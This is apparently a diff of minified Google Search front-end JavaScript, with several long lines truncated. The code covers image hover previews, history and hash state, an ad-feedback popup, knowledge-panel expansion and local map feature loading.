+_.Op=function(a){_.hp==a&&(_.hp="");var b=(0,_.xb)(_.$o,a);-1!=b&&_.$o.splice(b,1);if(b=(0,_.id)(a))for(var c=0;b&&c<b.length;++c)(0,_.sh)(b[c],"mouseover",_.bp);if(_.Pe.He)for(b=(0,_.id)(a);b&&c<b.length;++c)(0,_.sh)(b[c],"mousedown",_.dp),(0,_.sh)(b[c],"click",_.cp);delete _.Zo[a]};(0,_.Pc)(_.Dc.I(),"sy27");
+_.up=160;_.Zo={};_.$o=[];_.hp="";_.sp=_.l;_.kp={element:_.l,image:_.l,rect:_.l,Sg:_.l,pj:"",startTime:_.l};_.ep=_.m;_.Mp={};_.vp=_.l;_.qp=_.m;_.op=_.l;_.Cp=_.l;_.pp=_.l;_.Ip=0;_.ip=0;_.zp=_.l;
+(0,_.ah)("hv",{init:function(){if((0,_.T)("uh_h")){_.up=160;(0,_.rh)(_.Pe.He?window:window.document,"scroll",_.Kp);(0,_.rh)(window.document,"keydown",function(a){(0,_.Lp)(a)});(0,_.rh)(window,"resize",_.yp);_.Pe.He?(_.zp=(0,_.$d)(window.document),(0,_.rh)(window.document,"focusout",function(){var a=(0,_.$d)(window.document);_.zp!=a?_.zp=a:(0,_.lp)()})):window.onblur=function(){(0,_.lp)()};(0,_.yp)();_.op=(0,_.T)("uh_hp");if((_.Cp=(0,_.T)("uh_hpl"))&&!_.Pe.He)(0,_.rh)(_.Cp,"click",_.Ap),( [...]
+"mousedown",_.Ep);_.sp=new _.Oo}},dispose:function(){_.sp&&_.sp.dispose();(0,_.sh)(window.document,"mousemove",_.rp);_.kp.element&&(0,_.sh)(_.kp.element,"mousedown",_.tp);for(var a in _.Zo)(0,_.Op)(a);(0,_.sh)(_.Pe.He?window:window.document,"scroll",_.Kp);(0,_.sh)(window.document,"keydown",_.Lp);_.Pe.He&&(0,_.sh)(window.document,"focusout",_.Oba);(0,_.sh)(window.document,"mousemove",_.Np);(0,_.sh)(window,"resize",_.yp)}});
+
+(0,_.Mc)(_.Dc.I(),"sy27");(0,_.Qc)(_.Dc.I(),"sy27");
+}catch(e){_._DumpException(e)}
+try{
+_.b8=function(a,b){var c=(0,window.RegExp)("[?&#]"+b+"=([^&#]*)","i").exec(a);return c&&1<c.length?c[1]:""};
+_.EJa=function(a){var b=window.document.createElement("div");a=a.split("<b>");var c;for(c=0;c<a.length;c++){var d=a[c].split("</b>");if(1==d.length)b.appendChild(window.document.createTextNode((0,_.c8)(d[0])));else{var e=window.document.createTextNode((0,_.c8)(d[0])),f=window.document.createElement("span");f.style.fontWeight="bold";f.appendChild(e);d=window.document.createTextNode((0,_.c8)(d[1]));b.appendChild(f);b.appendChild(d)}}return b};
+_.c8=function(a){return a.replace(/&([^;]+);/g,function(a,c){switch(c){case "amp":return"&";case "lt":return"<";case "gt":return">";case "quot":return'"';default:if("#"==c.charAt(0)){var d=(0,window.Number)("0"+c.substr(1));if(!(0,window.isNaN)(d))return window.String.fromCharCode(d)}return a}})};_.d8=function(a,b){a.innerHTML="";a.appendChild(window.document.createTextNode(b))};
+_.FJa=function(a){if(!a.targetDocId||!_.e8[a.targetDocId])return _.m;if(_.f8){var b=(0,_.bf)("#rg_ht");if(b){var c=(0,_.GJa)(b);c&&((0,_.g8)(),(0,_.sh)(c,"click",_.h8),_.h8=_.l,b.removeChild(c),_.f8&&_.f8.appendChild(c))}}var d=_.e8[a.targetDocId],e=d[0],f=window.document.getElementById(a.targetDocId).childNodes[0].parentNode.href,b=(0,_.b8)(f,"imgurl"),c=4<=d.length?d[4]:"";c||(c=(b=/\/([^/]+.(jpg|jpeg|png|gif|bmp)$)/i.exec(b))?(0,window.unescape)(b[1]):"");var b=d[7],g=d[8],g=b&&g?b+"\ [...]
+g:"";(b=d[3])&&(g=g+"\u00a0-\u00a0"+b);(b=(0,_.b8)(f,"imgrefurl"))||(b=(0,_.b8)(f,"url"));var h=/:\/\/(www.)?([^/?#]*)/i.exec(b),i=6<=d.length&&_.i8&&_.j8;a:{var b=d[1],n=d[2],p=c,k=g,q=h?h[2]:"",c=i?d[5]:"",g=i?_.i8:"",d=i?d[6]:"",i=i?_.j8:"";window.document.getElementById("rg_hl").href=f;h=window.document.getElementById("rg_hi");h.removeAttribute("src");if(e==_.k8.src)h.src=e;else{var v=(0,_.bf)("IMG",window.document.getElementById(a.targetDocId));if(v==_.l)break a;v=_.Pe.He?(v=v.getAt [...]
+v.value:"":v.getAttribute("src");v&&h.setAttribute("src",v);_.k8.src=e}h.width=b;h.height=n;h.setAttribute("data-width",b);h.setAttribute("data-height",n);(0,_.cf)(h,"width",b+"px","height",n+"px");var n=window.document.getElementById("rg_ilbg"),v=window.document.getElementById("rg_il"),r=window.document.getElementById(a.targetDocId).parentNode,s=(0,_.bf)(".rg_ilbg",r),r=(0,_.bf)(".rg_il",r);s&&r?(n.innerHTML=s.innerHTML,n.style.display="block",v.innerHTML=r.innerHTML,v.style.display="bl [...]
+"",n.style.display="none",v.innerHTML="",v.style.display="none");window.document.getElementById("rg_ht").style.display=p?"":"none";p&&(n=window.document.getElementById("rg_hta"),n.href=f,(0,_.d8)(n,(0,window.decodeURI)(p).replace(/ /g,"\u00a0").replace(/-/g,"\u2011")));var A=(0,_.np)(a.targetDocId,["uh_r"]);_.f8=A;var z=(0,_.GJa)(A);if(z&&z.getAttribute("g:imgtitle")){A.removeChild(z);n=(0,_.bf)("#rg_ht");n.appendChild(z);n.style.maxHeight="2.4em";(0,_.g8)();var t=window.document.getElem [...]
+_.l8=function(a){window.google.pw&&window.google.pw.bM&&window.google.pw.bM.animate(a,z,t)};(0,_.rh)(t,"mouseover",_.l8);_.m8=function(a){window.google.pw&&window.google.pw.bM&&window.google.pw.bM.V4(a,z,t)};(0,_.rh)(t,"mouseout",_.m8);n=(0,_.bf)("#rg_img_wn");v=z.getAttribute("g:undo");s=(0,_.bf)("#rg_pos");if(n&&s&&v){s.innerHTML="";var u=n.cloneNode(_.j);u.id=v;s.appendChild(u);var w=(0,_.If)(z,"eswa");_.h8=function(){if(z===_.l||!(0,_.If)(z,"esww")){u.style.display=w?"none":"";var a= [...]
+A),b=(0,_.bf)("#isr_soa");b&&!w&&(a&&A.removeChild(a),a=b.cloneNode(_.j),a.removeAttribute("id"),A.appendChild(a));a&&(a=a.style,a.display=w?"none":"",a.width=A.style.width);w=!w}};(0,_.rh)(z,"click",_.h8)}n=_.j}else n=_.m;(0,_.bf)("#rg_ht").style.display=p||n?"":"none";(v=(0,_.bf)("#rg_pos"))&&(v.style.display=n?"":"none");n=a.targetDocId;if(v=(0,_.n8)(window.document.getElementById("rg_hr"),"pplsrsli"))if(v.style.display="inline",v.id="srsl_"+n,v.setAttribute("data-docid",n),v.setAttri [...]
+p),v.setAttribute("data-url",f),v.setAttribute("data-imgurl",e),e=window.document.getElementById("rg_ht"),e.style.maxHeight="2.4em",e=(0,_.n8)(e,"pplsrslc"))e.style.display="none",e.id="srslc_"+n,e=(0,_.gd)("a","pplsrslcl",e),e.length&&(e[0].id="srslcl_"+n);e=window.document.getElementById("rg_hn");e.innerHTML="";e.style.display=k?"":"none";e.appendChild((0,_.EJa)(k));window.document.getElementById("rg_hr").innerHTML=q;f=window.document.getElementById("rg_ha_osl");e=window.document.getEl [...]
+k=window.document.getElementById("sha"+a.targetDocId);e.style.display="none";if(k&&(e.style.display="",e.innerHTML=k.innerHTML,window.google.sos&&(window.google.sos.cQ&&window.google.sos.cQ.RY)&&window.google.sos.cQ.RY(e),f&&(f.style.display="none"),(k=(0,_.bf)("a.kpbb",e))&&k.href)){q=window.location.protocol+"//"+window.location.host+(0,_.Bf)();if((p=k.href)&&-1!=p.indexOf("//plus.google.com/up")&&q&&(0,_.Df)("continue",p)===_.l)n="&",-1==p.indexOf("?")&&(n="?"),p+=n+"continue="+(0,win [...]
+k.href=p;(0,_.rh)(k,"click",function(){window.google.log("biuc","up")})}if(c||d)f&&(f.style.display=""),f="none",k=window.document.getElementById("rg_hals"),k.style.display=c?"":"none",c&&(k.href=c,(0,_.d8)(k,g)),g=window.document.getElementById("rg_haln"),g.style.display=d?"":"none",d&&(g.href=d,(0,_.d8)(g,i),c&&(f="")),window.document.getElementById("rg_has").style.display=f;a.element=window.document.getElementById("rg_h");a.image=h;c=0;if(e&&(g=(0,_.bf)("div.cpb",e)))d=a.element.style [...]
+a.element.style.display="inline-block",c=58+g.offsetWidth,a.element.style.display=d;_.up=window.Math.max(window.document.getElementById("rg_hr").offsetWidth+2,window.document.getElementById("rg_ha").offsetWidth+2,c,b,160)}return _.j};
+_.HJa=function(a){var b=-1,c=a.startTime;c&&(b=(new window.Date).getTime()-c,0>b&&(b=-1));if(a.resultInfo!=_.l&&6E4>b){c=window.location.href;(0,_.b8)(c,"tbs");b=["/imghover?iact=hm","&ei=",window.google.kEI,"&q=",(0,_.b8)(c,"q"),"&tbnh=",a.resultInfo.rect.height,"&tbnw=",a.resultInfo.rect.width,"&dur=",b,"&tbnid=",a.targetDocId];a.image&&b.push("&hovh=",a.image.height,"&hovw=",a.image.width);a.rect&&b.push("&vpx=",a.rect.left,"&vpy=",a.rect.top);(c=(0,_.IJa)("imgurl",a.element))&&b.push [...]
+c);(c=(0,_.IJa)("imgrefurl",a.element))&&b.push("&imgrefurl=",c);(a=window.document.getElementById(a.targetDocId).getAttribute("ved"))&&b.push("&ved=",a);a="";(c=(0,_.n8)(window.document.getElementById("rg_hta"),"pplsrsli"))&&"inline"==c.style.display&&(a+="h");window.document.getElementById("rg_haln")!=_.l&&(a+="m");if(c=window.document.getElementById("rg_ht"))for(var c=c.getElementsByTagName("button"),d=c.length,e=0;e<d;e++){var f=c.item(e).getAttribute("g:pingback");if(f&&-1!=f.indexO [...]
+"p";break}}window.document.getElementById("rg_hals")&&(a+="s");a&&b.push("&vetl=",a);window.google.j&&window.google.j.pf&&b.push("&sqi=6");window.google.log("","",b.join(""))}};_.GJa=function(a){if(!a)return _.l;a=a.getElementsByTagName("button");for(var b=0,c;c=a[b];++b)if((0,_.If)(c,"esw"))return c;return _.l};_.g8=function(){var a=window.document.getElementById("rg_hx");_.l8&&((0,_.sh)(a,"mouseover",_.l8),_.l8=_.l);_.m8&&((0,_.sh)(a,"mouseout",_.m8),_.m8=_.l)};
+_.n8=function(a,b){if(a)for(a=a.nextSibling;a!=_.l;){if(a.className==b)return a;a=a.nextSibling}return _.l};_.IJa=function(a,b){if(!b)return _.l;for(var c=b.getElementsByTagName("a"),d=0,e;e=c[d];d++)if(e=e.href.match(/(\?|$)[^#]*/)[0])if(e=e.match("[?&]"+a+"=([^&]*)"))return e[1];return _.l};(0,_.Pc)(_.Dc.I(),"bihu");
+_.f8=_.l;_.e8={};_.i8="";_.j8="";_.JJa="";_.k8=window.document.createElement("img");_.l8=_.l;_.m8=_.l;_.h8=_.l;_.o8=_.m;
+(0,_.ah)("bihu",{init:function(a){for(var b in a)if("MESSAGES"==b){var c=a[b];_.i8=c.msg_si||"";_.j8=c.msg_ms||"";_.JJa=c.msg_img_from||""}else _.e8[b]=a[b];(0,_.bf)("#iur");a=(0,_.af)("li.uh_r");b=_.JJa;for(var c=0,d;d=a[c++];){var e=(0,_.bf)("a.bia",d),f=_.e8[e.id];d=(0,_.bf)("button.esw",d);f&&d&&(d.setAttribute("g:imgtbn",f[0]),e=e.href,d.setAttribute("g:imgland",e),e=(0,_.b8)(e,"imgrefurl"),e=/:\/\/(www.)?([^/?#]*)/i.exec(e),e=b.replace(/\%1\$s|\%s/,e?e[2]:""),d.setAttribute("g:imgt [...]
+
+(0,_.Mc)(_.Dc.I(),"bihu");(0,_.Qc)(_.Dc.I(),"bihu");
+}catch(e){_._DumpException(e)}
+try{
+_.El=function(a,b){_.Fl[a]||(_.Fl[a]=b)};
+_.Gl=function(a,b,c){var d={};b="#"==b.charAt(0)?b.substring(1):b;d[a]=b;if(""==a&&_.Hl&&b!==_.Il[a])for(var e in _.Jl)d[_.Jl[e]]="";for(var f in d)_.Il[f]=d[f];a=(0,_.Kl)();if(c)if(c=a,_.Ll)window.history.replaceState(c,window.document.title||"","#"+c),(0,_.Ml)(c);else{a=window.location;b=a.href.replace(/#.*/,"");if((c=c||"")||0<a.href.indexOf("#"))c="#"+c;a.replace(b+c)}else _.Ll?(window.history.pushState(a,window.document.title||"","#"+a),(0,_.Ml)(a)):(c=window.location,(0,_.Cf)(c).re [...]
+"")!=a&&(c.hash=a))};_.Kl=function(a){var b=[],c=[],d;for(d in _.Il)c.push(d);c.sort();for(d=0;d<c.length;d++){var e=c[d],f=a&&a[e]?a[e]:_.Il[e];e?f&&b.push(e+"="+f):(e=a&&a[e]?a[e]:_.Il[e])&&b.push(e)}a=b.join("&");return a=a.replace(/^#*/,"")};_.Nl=function(a,b){var c={"":""},d=(0,_.Cf)(window.location);if(a||d){for(var d=(a||d).replace(/^#*/,"").split("&"),e=[],f=0;f<d.length;f++){var g=d[f],h=g.split("=")[0];_.jba[h]?c[h]=g.split("=")[1]:e.push(g)}c[""]=e.join("&")}b&&(_.Il=c);return [...]
+_.jba={agsa:_.j,biv:_.j,imgrc:_.j,itp:_.j,mip:_.j,mis:_.j,miuv:_.j,mkp:_.j,mldd:_.j,now:_.j,qm:_.j,sh:_.j,lmt:_.j,psh:_.j,updateac:_.j,"":_.j};_.Jl=["imgrc","psh"];_.Il={"":""};_.Fl={};_.Ll=_.m;_.Hl=_.m;_.Ql=_.m;
+(0,_.ah)("hsm",{init:function(a){_.Hl||(a=a.h5h,a=!(!window.history||!window.history.pushState)&&a,_.Hl&&_.Ll==a||(_.Ll=!!a,(0,_.sh)(window,"popstate",_.Pl),(0,_.sh)(window,"hashchange",_.Ol),_.Ll?(0,_.rh)(window,"popstate",_.Pl):("undefined"!=typeof window.onhashchange||!_.Pe.He&&window.hasOwnProperty("onhashchange"))&&(0,_.rh)(window,"hashchange",_.Ol)));_.Hl=_.j}});(0,_.ha)("google.hs.init",function(){_.Ql||(0,_.Ml)(_.ba,_.j);_.Ql=_.j},_.ba);
+
+(0,_.Mc)(_.Dc.I(),"sy14");(0,_.Qc)(_.Dc.I(),"sy14");
+}catch(e){_._DumpException(e)}
+try{
+_.bG=function(a,b){a+="&ei="+window.google.kEI;b&&(a+="&ved="+b);window.google.log("wta",a)};
+_.Vea=function(a,b,c,d){(0,_.cG)();if(a&&_.dG){var e;if(e=(e=(0,_.bf)(".wtalbc",a.parentNode))?e.innerHTML:_.l){_.eG=d;(0,_.cf)(_.dG,"width",d+"px");if(_.dG&&(d=(0,_.bf)("div.wtalbc",_.dG)))d.innerHTML=e;(0,_.Wea)(a);if(_.dG&&(d=(0,_.bf)("a.wtaal",_.dG)))_.fG=function(a){a=a||window.event;a.preventDefault&&a.preventDefault();a.returnValue=_.m;(0,_.Nh)(a);_.gG&&((0,_.bG)("n",c),a="",_.hG&&(a=(0,_.iG)("token",_.hG)),a=a+(0,_.iG)("reasons",_.Xea)+(0,_.iG)("hl",window.google.kHL),a=(0,_.Ze)( [...]
+a.setAttribute("method","post"),a.setAttribute("action",_.gG),(0,_.Ye)(a),a.submit())},(0,_.rh)(d,"click",_.fG),d.href="javascript:void(0)";_.jG=a;_.dG&&((0,_.cf)(_.dG,"display","block"),(0,_.cf)(_.dG,"visibility","visible"));(0,_.rh)(window.document.body,"click",_.Yea);(0,_.bG)("o",b)}}};_.Yea=function(a){a=a.target||a.srcElement;a!==_.l&&!(a==_.jG||(0,_.If)(a,"wtaal")||(0,_.If)(a,"wtali"))&&(0,_.kG)("cm")};
+_.cG=function(){if(_.dG){(0,_.cf)(_.dG,"display","none");(0,_.cf)(_.dG,"visibility","hidden");(0,_.sh)(window.document,"click",_.Yea);if(_.dG){var a=(0,_.bf)("a.wtaal",_.dG);a&&_.fG&&((0,_.sh)(a,"click",_.fG),_.fG=_.l)}_.jG=_.l}};_.kG=function(a,b){(0,_.lG)()&&((0,_.bG)(a,b),(0,_.cG)())};
+_.Wea=function(a){if(a){var b=(0,_.we)(a)+(0,_.Nf)(a)/2-16-_.eG/2,c=16+_.eG/2-(0,_.Nf)(a)/2;_.Zea&&(c*=-1);b=(0,_.Kf)()?b+c:b-c;a=(0,_.xe)(a)+(0,_.Mf)(a)+11;_.dG!==_.l&&((0,_.cf)(_.dG,"left",b+"px"),(0,_.cf)(_.dG,"top",a+"px"))}};_.lG=function(){return _.dG&&"visible"==(0,_.Lf)(_.dG,"visibility",_.j)?_.j:_.m};_.iG=function(a,b){return'<input type=hidden name="'+a+'" value="'+(0,_.Kh)(b)+'"/>'}; _.$ea=function(a,b){var c=b.gp?a.parentNode.parentNode:a,d=b.wtaVed||"",e=b.apmVed||"",f=(0,_. [...]
+(0,_.ah)("wta",{init:function(a){(0,_.Kg)("wta",{tlb:_.$ea});a.s||(_.hG=a.t||"",_.Xea=a.r||"",_.gG=a.a||"",_.Zea=a.l||_.m,_.dG||(a=(0,_.Ze)("div.wtalb",'<span class="wtalbal"></span><span class="wtalbar"></span><div class="wtalbc f"></div>'),(0,_.cf)(a,"id","wtalb"),(0,_.cf)(a,"display","none"),_.dG=a,(0,_.Ye)(a),(0,_.rh)(window,"resize",function(){window.setTimeout(function(){(0,_.Wea)(_.jG)},0)}),(0,_.rh)(window.document,"keydown",function(a){a=a||window.event;27==a.keyCode&&(0,_.kG)(" [...]
+window.document.getElementById("gbqfq"))&&(0,_.rh)(a,"focus",function(){(0,_.kG)("cf")}),(a=window.document.getElementById("lst-ib"))&&(0,_.rh)(a,"focus",function(){(0,_.kG)("cf")}),(0,_.uf)(93,function(){(0,_.kG)("cm")})))},dispose:function(){(0,_.cG)()}});
+
+(0,_.Mc)(_.Dc.I(),"sy64");(0,_.Qc)(_.Dc.I(),"sy64");
+}catch(e){_._DumpException(e)}
+try{
+_.Xoa=function(a,b,c){var d=_.yG[a];if(d[b]){if(d[b][c])d[b][c]();if(!_.AG[b]||_.AG[b]!=a)(0,_.gfa)(a,b),_.AG[b]=a}};_.Yoa=function(a){a=a||"kr";for(var b in _.vG)(0,_.Sf)(b,(0,_.Za)(_.Xoa,2,a,b))};_.Zoa=function(){2==_.AG.kr?(0,_.zG)(0,"kr"):(0,_.Yoa)()};_.ES=function(){(0,_.zG)(0,"kr");(0,_.Kg)("kno",{repr:_.Zoa})};_.FS=function(a){_.GS.push(a);return _.GS.length-1};_.HS=function(a,b){_.IS[a]=b;var c=["1"],c=c.concat(_.IS),c=(0,_.Rg)(c);(0,_.Gl)("psh",(0,window.encodeURIComponent)(c),_.j)};
+_.$oa=function(a){a.parentNode.className="kno-fvo";var b=(0,_.bf)(".kno-ft",_.JS);if(b){for(var b=(0,_.af)(".kno-f",b),c=0;c<b.length;c++)if(b[c]==a.parentNode.parentNode){_.KS.push(c);(0,_.HS)(_.apa,_.KS);break}a.parentNode.removeChild(a);(0,_.Rh)(a)}};_.bpa=function(){(0,_.Gf)((0,_.jd)("kno-asl"),"kno-asl-more")};
+_.cpa=function(a){_.JS=a;_.KS=[];(0,_.uG)("rk");a:{a=window.google.dom.getAll(".mhc-\\d");var b=a.length,c,d=[];if(a){for(var e=0;e<b;e++)a[e]&&("mhc-5"===a[e].getAttribute("data-mhc")?c=a[e]:d[d.length]=a[e]);if(c){a=[c,d];break a}}a=_.ba}if(a&&a[0]){c=(0,_.af)("li",a[0]);a=a[1];b=c.length;d=a.length;for(e=0;e<b;e++){var f=c[e],g;a:{if((g=(0,_.Ci)(f))&&0!=g.length)for(var h=0;h<g.length;h++){var i=g[h];if((0,_.eb)(i,"iukp")){g=i;break a}}g=_.l}h=(0,_.bf)("a",f);f=(0,_.bf)(".krable",f);h [...]
+for(i=0;i<d;i++){var n=(0,_.bf)("."+g,a[i]),p=(0,_.bf)("a",n);p&&(p.href=h,(n=(0,_.bf)(".krable",n))&&n.setAttribute("data-ved",f.getAttribute("data-ved")))}}}c=window.document.querySelector("#knop .kno-fb");a=window.document.querySelector(".klbar");b=window.document.querySelector(".answer_slist_collection");c!=_.l&&(a==_.l&&b==_.l)&&(c.style.display="");_.JS!==_.l&&(0,_.If)(_.JS,"kno-fb-on")&&(0,_.Yoa)();(0,_.Kg)("kp",{sm:_.$oa,rm:_.bpa});(0,_.ES)()};(0,_.Pc)(_.Dc.I(),"sy94");
+_.GS=[];_.IS=[];(0,_.El)("psh",function(a,b){if(b&&a){var c;a:{c=a;try{c=(0,window.decodeURIComponent)(c);var d=(0,_.Pg)(c)||[]}catch(e){c=_.m;break a}c="1"==d[0]}c&&(a=(0,window.decodeURIComponent)(a));_.IS=(0,_.Pg)(a)||[];c&&_.IS.shift();for(var f in _.IS)if(_.IS[f])_.GS[f](_.IS[f])}});
+_.apa=(0,_.FS)(function(a){var b=(0,_.bf)(".kno-ft",_.JS);if(b&&(b=(0,_.af)(".kno-f",b)))for(var c=0;c<a.length;c++)if(a[c]<b.length){var d=(0,_.bf)(".kno-fm",b[a[c]]);d&&(0,_.$oa)(d)}});
+(0,_.Mc)(_.Dc.I(),"sy94");(0,_.Qc)(_.Dc.I(),"sy94");
+}catch(e){_._DumpException(e)}
+try{
+_.LS=function(a,b){return window.Math.round(a*b)+"px"};_.dpa=function(){return _.MS?(0,_.bf)(".img-kc-m",_.NS):(0,_.bf)(".kno-bigt",_.NS)};
+_.epa=function(){(_.OS=!_.OS)||window.google.log("kp","expand");var a=_.NS;a===_.l||(!_.OS?(0,_.Ff)(a,"kno-exp"):(0,_.Gf)(a,"kno-exp"));(0,_.HS)(_.fpa,{c:a.className});a=(0,_.dpa)();if(!_.OS&&a&&_.PS){var b=_.PS/(0,_.Nf)(a);if(!(0,_.If)(a,"kno-fixt")&&1!=b){var c=_.MS?a:(0,_.bf)("div",a),d=(0,_.bf)("img",c);if(_.MS){var b=(0,_.bf)("a",c),e=_.QS/(0,_.Mf)(c),f=_.PS/(0,_.Nf)(c);c.style.height=_.QS+"px";c.style.width=_.PS+"px";d.style.height=(0,_.LS)((0,_.Mf)(d),e);d.style.width=(0,_.LS)((0, [...]
+f);b.style.height=d.style.height;b.style.width=d.style.width}else c.style.height=(0,_.LS)((0,_.Mf)(c),b),c.style.width=(0,_.LS)((0,_.Nf)(c),b),d.style.height=(0,_.LS)((0,_.Mf)(d),b),d.style.width=(0,_.LS)((0,_.Nf)(d),b),d.style.marginLeft=(0,_.LS)(+(0,_.Lf)(d,"margin-left"),b),d.style.marginRight=(0,_.LS)(+(0,_.Lf)(d,"margin-right"),b),a.style.width=(0,_.LS)((0,_.Nf)(a),b);(0,_.HS)(_.RS,{IV:a.style.width,OW:c.style.height,PW:c.style.width,gQ:d.style.height,hQ:d.style.width,NY:d.style.mar [...]
+_.fpa=(0,_.FS)(function(a){_.NS.className=a.c});_.hpa=[];_.gpa.prototype.M=function(){var a=(0,_.Mf)(this.D);this.D.style.opacity=this.B.scrollTop/a;this.H.style.opacity=(this.B.scrollHeight-this.B.scrollTop-(0,_.Mf)(this.B))/a};
+(0,_.ah)("kp",{init:function(a){_.PS=a.expanded_thumbnail_width;_.QS=a.expanded_thumbnail_height;_.MS=a.use_top_media_styles;if(_.NS=(0,_.T)("knop")){if((0,_.cpa)(_.NS),_.OS=(0,_.If)(_.NS,"kno-sm"),_.SS=(0,_.bf)(".kno-ec",_.NS))(a=(0,_.bf)(".kno-bt",_.SS))&&(0,_.rh)(a,"click",_.epa)}else(0,_.ES)();_.RS=(0,_.FS)(function(a){var b=(0,_.dpa)(),c=_.MS?b:(0,_.bf)("div",b),g=(0,_.bf)("img",c);c.style.height=a.OW;c.style.width=a.PW;g.style.height=a.gQ;g.style.width=a.hQ;_.MS?(b=(0,_.bf)("a",c), [...]
+a.gQ,b.style.width=a.hQ):(g.style.marginLeft=a.NY,g.style.marginRight=a.OY,b.style.width=a.IV);(0,_.HS)(_.RS,a)});a=(0,_.af)(".scrt");for(var b,c=0;b=a[c++];)new _.gpa(b)},dispose:function(){if(_.SS){var a=(0,_.bf)(".kno-bt",_.SS);a&&(0,_.sh)(a,"click",_.epa)}for(var b=0;a=_.hpa[b++];)_.sh.apply(_.l,a)}});
+
+(0,_.Mc)(_.Dc.I(),"kp");(0,_.Qc)(_.Dc.I(),"kp");
+}catch(e){_._DumpException(e)}
+try{
+_.ty=function(a,b,c,d){var e=0,f=_.m,g=_.l;return function(){var h=window.google.time();f?g=window.Array.prototype.slice.call(arguments,0):h-e>=c?(e=h,b.apply(a,arguments)):d&&(h=c-(h-e),f=_.j,g=window.Array.prototype.slice.call(arguments,0),(0,window.setTimeout)(function(){f=_.m;e=window.google.time();b.apply(a,g)},h))}};
+_.uy=function(a){this.a=a.a;this.B=a.bb;this.id=a.id;var b={};if("c"in a)try{b=eval("(0,"+a.c+")")}catch(c){}if(b&&b["9"]){if(window.google.LU.fmap_xc){a=window.google.LU.fmap_xc[b["9"].index];for(var d in a)b[d]=a[d]}"r"==b["9"].index.substr(0,1)?(this.isMarker=_.j,d=b["9"].index.substr(1),this.markerElement=(0,_.bf)(".lumi"+d)):b.isMarker&&(this.isMarker=_.j);if("bluepin"==b["9"].index.substr(0,7)){d=b["9"].index.substr(7);d=(0,_.af)(".luadpini"+d);a=0;for(var e;e=d[a];a++)0<e.offsetHe [...]
+e)}}this.extendedContent=b};_.fda=function(a){this.B=_.l;this.D=[];this.M=[];this.H=_.m;var b;if(a){b=0;for(var c;b<a.length;++b)if(c=a[b].features)for(var d=0,e;e=c[d];++d)e=new _.uy(e),this.D.push(e),e.extendedContent["9"]&&(this.M[e.id]=e);b=0<this.D.length}else b=_.m;if(b&&(this.B=a[0].rectangle)&&4==this.B.length)this.H=_.j};
+_.vy=function(a,b,c,d,e,f){this.S=0;this.B=_.l;this.M=f;e=e.join(",");this.N=a+e+c;var g="loadFeaturemap_"+window.Math.floor(window.google.time()/100)%864+"_"+d,h=this;(0,_.ha)("google.LU."+g,function(a){delete window.google.LU[g];(0,_.wy)(h);h.B=new _.fda(a);window.google.log("lu_featuremap",window.google.time()-h.S+"")},_.ba);this.X=[b,e,c,"&callback=google.LU.",g].join("")};_.xy=function(a){a.S=window.google.time();a.H=window.document.createElement("SCRIPT");a.H.src=a.X;(0,_.Ye)(a.H)};
+_.wy=function(a){a.H&&(a.H.parentNode.removeChild(a.H),delete a.H)};_.yy=function(a){a.D&&((0,_.sh)(a.M,"mouseover",a.D),(0,_.sh)(a.M,"mousemove",a.D),a.D=_.l)};_.zy=function(a){return _.Pe.He?window.document.documentElement["client"+a]:window["inner"+a]};_.Ay=function(){if(_.By)for(var a in _.Cy)_.By.style[a]=_.Cy[a]};_.Dy=function(){var a=(0,_.T)("lu_pinned_rhs-placeholder");a&&a.parentNode.removeChild(a)};
+_.Ey=function(){if(_.Fy){var a=window.document.body.scrollTop+window.document.documentElement.scrollTop;if(!_.Gy&&a>=_.Hy){if(_.By&&"none"!=_.By.style.display){_.Iy.ol=(0,_.we)(_.By);_.Iy.iw=(0,_.Nf)(_.By);_.Iy.L1=_.By.offsetWidth;_.Iy.G1=_.By.offsetHeight;for(var a=0,b;b=_.gda[a++];)_.Cy[b]=_.By.style[b];_.By&&("absolute"!=(0,_.Lf)(_.By,"position",_.j)&&(a=window.document.createElement("div"),a.id=_.By.id+"-placeholder",_.Pe.He?a.style.styleFloat=(0,_.Lf)(_.By,"styleFloat",_.j):a.style. [...]
+(0,_.Lf)(_.By,"float",_.j),a.style.width=_.Iy.L1+"px",a.style.height=_.Iy.G1+"px",a.style.marginTop=(0,_.Lf)(_.By,"margin-top",_.j),a.style.marginBottom=(0,_.Lf)(_.By,"margin-bottom",_.j),a.style.marginLeft=(0,_.Lf)(_.By,"margin-left",_.j),a.style.marginRight=(0,_.Lf)(_.By,"margin-right",_.j),_.By.parentNode.insertBefore(a,_.By.nextSibling)),_.By.style.margin=0,_.By.style.zIndex=101,_.By.style.width=_.Iy.iw+"px",_.By.style.top=0,_.By.style.position="fixed",_.By.style.paddingTop=_.Jy+"px" [...]
+"#fff");_.Gy=_.j}}else _.Gy&&a<_.Hy&&((0,_.Dy)(),(0,_.Ay)(),_.Gy=_.m);var a=window.pageXOffset||window.document.body.scrollLeft||window.document.documentElement.scrollLeft,c=(b=(0,_.Kf)())?"marginRight":"marginLeft";b&&(a=window.Math.abs(a));_.By&&(_.By.style[c]=_.Gy?-a+"px":"0")}};
+_.hda=function(){if(!_.By||!(0,_.T)("rhs_block"))return _.m;var a=(0,_.T)("mbEnd");if(!a)return _.m;var b=a.getElementsByTagName("li");if(!b||0==b.length)return _.m;var a=(0,_.zy)("Height"),c=(0,_.Mf)(_.By),b=2*(b[0].offsetHeight+12)+c+(0,_.xe)(_.By);return a<b};_.Ky=function(){_.Ly||(_.Gy&&((0,_.Dy)(),(0,_.Ay)(),_.Gy=_.m),(0,_.hda)()?_.Fy=_.m:(_.Fy=_.j,_.Hy=(0,_.xe)((0,_.T)("lu_pinned_rhs")),_.Hy-=_.Jy,(0,_.Ey)()))};_.My=function(){_.By&&(this.m=(0,_.Mf)(_.By),this.h=(0,_.zy)("Height"), [...]
+_.ida=function(){if(_.By){var a=new _.My;if(!(_.Pe.He?a.m==_.Ny.m&&a.h==_.Ny.h&&a.w==_.Ny.w:a.h==_.Ny.h))(0,_.Ky)(),_.Ny=a}};_.jda=function(){var a=window.document.getElementById("hdtb");a&&(_.Jy=(0,_.Mf)(a)+6,(0,_.Ky)())};
